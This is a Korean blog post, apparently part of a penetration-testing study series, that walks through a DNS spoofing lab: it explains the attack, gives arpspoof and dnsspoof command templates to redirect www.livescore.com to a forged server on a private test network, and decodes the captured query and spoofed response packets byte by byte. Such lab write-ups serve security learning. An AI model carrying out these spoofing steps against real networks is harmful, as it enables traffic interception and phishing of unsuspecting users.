CERTIFICATE

[모의해킹] EP.05 : DNS Spoofing

루트 2019. 9. 24. 13:33
반응형

1. DNS Spoofing이란?

사용자가 어떤 웹서버에 도메인을 이용해 접근하는 경우 자신의 로컬 DNS 서버에 해당 도메인에 대한 DNS 질의를 하고 그에 대한 응답을 받아 웹서버에 접속하게 됩니다. DNS 스푸핑은 먼저 공격 대상에 대해 ARP 스푸핑이 이루어져 공격 대상이 어떤 도메인에 대한 DNS 질의를 하는지 알아낸 후 DNS 서버보다 빠르게 변조된 DNS 응답을 보내 위조된 웹서버로 접속하게 하는 것입니다. 공격자는 공격 대상에 대해 ARP 스푸핑이 이루어져야 하고 DNS 서버보다 빠르게 응답해야 하기 때문에 로컬 네트워크에 존재해야 합니다.

- 정상적인 DNS 질의/응답

 

- DNS 스푸핑

 

 

2 실습 환경

공격 대상 - IP : 192.168.10.141, MAC : bc:5f:f4:34:77:61

라우터 - IP : 192.168.10.1, MAC : 00:26:66:D5:E1:08

공격 대상의 로컬 DNS 서버 - IP : 168.126.63.1

공격자 - IP : 192.168.10.150, MAC : 00:0C:29:9B:94:96

위조된 WEB 서버 - IP : 192.168.10.152, MAC : 00:0C:29:C7:2E:D1

 

 

3 실습 준비

3.1 공격자 - dsniff 설치

 

- dsniff 설치 여부 확인

 

3.2 공격 대상 - 로컬 DNS 확인

 

- 공격대상(192.168.10.141)의 로컬 DNS 확인

 

 

4 실습

(1) 공격 대상에게 arpspoof를 이용하여 arp 리다이렉트 공격을 합니다. fragrouter와 tcpdump도 실행해줍니다.

# arpspoof -t (공격 대상 IP) (게이트웨이 IP)

 

- arp 리다이렉트 공격

 

- tcpdump로 192.168.10.141에서 주고받는 패킷 캡쳐

 

(2) /etc/dsniff/dnsspoof.hosts 파일을 수정하여 DNS 스푸핑을 준비합니다.

 

- www.livescore.com에 접속하면 192.168.10.152로 접속하도록 설정

 

(3) dnsspoof를 이용하여 DNS 스푸핑을 시작합니다.

# dnsspoof -i (인터페이스) -f (dnsspoof.hosts 파일)

 

- dns 스푸핑

 

(4) 공격 대상에서 www.livescore.com으로 접속했는데 위조된 웹 페이지가 뜨는 것을 확인할 수 있습니다.

 


- dns 스푸핑 공격 후 www.livescore.com으로 192.168.10.152의 변조된 웹사이트에 접속

 

- 정상적인 www.livescore.com 웹사이트

 

 

5 패킷 분석

5.1 DNS 질의 패킷 분석

패킷 캡쳐

00 0C 29 9B 94 96 BC 5F F4 34 77 61 08 00 45 00

00 3F 1B 23 00 00 80 11 6C D6 C0 A8 0A 8D A8 7E

3F 01 EC 2B 00 35 00 2B AA 3D 17 5A 01 00 00 01

00 00 00 00 00 00 03 77 77 77 09 6C 69 76 65 73

63 6F 72 65 03 63 6F 6D 00 00 01 00 01

 

Ethernet header 분석

Destination MAC address

00:0c:29:9b:94:96

Source MAC address

bc:5f:f4:34:77:61

Type

08 00 (IP)

 

IP header 분석

Version

Header len TOS

Total length

0100 (IPv4)

0101 (5words) 00000000(사용안함)

00000000 00111111 (63bytes)

Identification

Flag

Fragment offset

00011011 00100011

000(분할되지 않음)

00000 00000000

TTL

Protocol type

header checksum

10000000 (128)

00010001 (17 : UDP)

01101100 11010110

Source IP address

11000000 10101000 00001010 10001101 (192.168.10.141)

Destination IP address

10101000 01111110 00111111 00000001 (168.126.63.1)

 

UDP header 분석

Source port #

Destination port #

11101100 00101011 (60459)

00000000 00110101 (53)

UDP datagram length

Checksum

00000000 00101011 (43bytes)

10101010 00111101

 

DNS 메세지 분석(header)

Transaction ID (2 bytes)

00010111 01011010 (17 5a)

QR

OP AA TC RD RA Z AU NA Rcode

0(query)

0000 0 0 1 0 0 0 0 0000

Questions

Answer RRs

00000000 00000001 (1)

00000000 00000000

Authoritiy RRs

Additional RRs

00000000 00000000

00000000 00000000

 

DNS 메세지 분석(Query)

Name

03 77 77 77 09 6c 69 76 65 73 63 6f 72 65 03 63 6f 6d 00 (ETXwwwHTlivescoreEXTcomNUL)

Type

00 01 (1 : A, Host address)

Class

00 01 (1 : IN, internet class)

 

분석 결과

공격 대상(192.168.10.141)이 로컬 DNS(168.126.63.1)에게 www.livescore.com에 대한 DNS 질의를 하지만 실제 패킷은 ARP 스푸핑되어 공격자(00:0c:29:9b:94:96)에게 전송됩니다.

 

5.2 DNS 응답 패킷 분석

BC 5F F4 34 77 61 00 0C 29 9B 94 96 08 00 45 00

00 4F 07 94 00 00 40 11 C0 55 A8 7E 3F 01 C0 A8

0A 8D 00 35 EC 2B 00 3B 9A 10 17 5A 81 80 00 01

00 01 00 00 00 00 03 77 77 77 09 6C 69 76 65 73

63 6F 72 65 03 63 6F 6D 00 00 01 00 01 C0 0C 00

01 00 01 00 00 00 3C 00 04 C0 A8 0A 98

 

Ethernet header 분석

Destination MAC address

bc:5f:54:34:77:61

Source MAC address

00:0c:29:9b:94:96

Type

08 00 (IP)

 

IP header 분석

Version

Header len TOS

Total length

0100 (IPv4)

0101 (5words) 00000000(사용안함)

00000000 01001111 (79bytes)

Identification

Flag

Fragment offset

00000111 10010100

000(분할되지 않음)

00000 00000000

TTL

Protocol type

header checksum

01000000 (64)

00010001 (17 : UDP)

11000000 01010101

Source IP address

10101000 01111110 00111111 00000001 (168.126.63.1)

Destination IP address

11000000 10101000 00001010 10001101 (192.168.10.141)

 

UDP header 분석

Source port #

Destination port #

00000000 00110101 (53)

11101100 00101011 (60459)

UDP datagram length

Checksum

00000000 00111011 (59bytes)

10011010 00010000

 

DNS 메세지 분석(header)

Transaction ID (2 bytes)

00010111 01011010 (17 5a)

QR

OP AA TC RD RA Z AU NA Rcode

1(response)

0000 0 0 1 1 0 0 0 0000

Questions

Answer RRs

00000000 00000001 (1)

00000000 00000001 (1)

Authoritiy RRs

Additional RRs

00000000 00000000

00000000 00000000

 

DNS 메세지 분석(Query)

Name

03 77 77 77 09 6c 69 76 65 73 63 6f 72 65 03 63 6f 6d 00 (ETXwwwHTlivescoreEXTcomNUL)

Type

00 01 (1 : A, Host address)

Class

00 01 (1 : IN, internet class)

 

DNS 메세지 분석(response)

Name

11000000 00001100

Type

00 01 (1 : A, Host address)

Class

00 01 (1 : IN, internet class)

TTL

00000000 00000000 00000000 00111100 (60)

Rdata length

00000000 00000100 (4 bytes)

Rdata

11000000 10101000 00001010 10011000 (192.168.10.152)

 

분석 결과

DNS 질의에 대한 응답으로 www.livescore.com 도메인의 IP 주소가 192.168.10.152라고 알려줍니다.

 

 

이글이 도움이 되셨다면,

공감♥ 버튼 부탁드립니다. 잇츠밍 티스토리의 큰힘이 됩니다.

감사합니다.

반응형